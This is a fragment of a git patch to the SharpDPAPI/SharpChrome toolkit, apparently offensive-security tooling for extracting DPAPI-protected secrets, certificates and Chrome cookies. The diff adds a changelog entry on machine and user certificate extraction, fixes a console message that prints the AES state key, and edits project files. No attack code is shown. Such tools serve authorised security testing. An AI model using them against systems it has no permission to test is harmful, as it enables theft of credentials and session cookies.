SharpDPAPI/Domain/Version.cs | 2 +- SharpDPAPI/SharpDPAPI.csproj | 1 + SharpDPAPI/lib/Certificate.cs | 30 ++ SharpDPAPI/lib/Dpapi.cs | 328 ++++++++++++--------- SharpDPAPI/lib/Helpers.cs | 2 +- SharpDPAPI/lib/Triage.cs | 111 +++---- 12 files changed, 292 insertions(+), 226 deletions(-) create mode 100644 SharpChrome/app.config create mode 100644 SharpDPAPI/lib/Certificate.cs diff --git a/CHANGELOG.md b/CHANGELOG.md index b2488cb..c4a82eb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,19 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.9.2] - 2021-01-04 + +### Added +* **SharpDPAPI** project + * /target option for machinecertificates + * more certification information on extraction (including Enhanced Key Usages) + +### Fixed +* **SharpDPAPI** project + * User certificate extraction corrected + * Few formatting issues + + ## [1.9.1] - 2020-11-05 ### Added diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs index b0230ca..0e76651 100755 --- a/SharpChrome/Commands/Cookies.cs +++ b/SharpChrome/Commands/Cookies.cs @@ -74,7 +74,7 @@ public void Execute(Dictionary arguments) stateKey = arguments["/statekey"]; if (!quiet) { - Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + Console.WriteLine("[*] Using AES State Key: {0}\r\n", stateKey); } } diff --git a/SharpChrome/SharpChrome.csproj b/SharpChrome/SharpChrome.csproj index fc46a61..70692df 100755 --- a/SharpChrome/SharpChrome.csproj +++ b/SharpChrome/SharpChrome.csproj @@ -11,6 +11,7 @@ SharpChrome v3.5 512 + AnyCPU @@ -53,6 +54,9 @@ lib\BigInteger.cs + + lib\Certificate.cs + lib\Crypto.cs @@ -175,6 +179,9 @@ + + +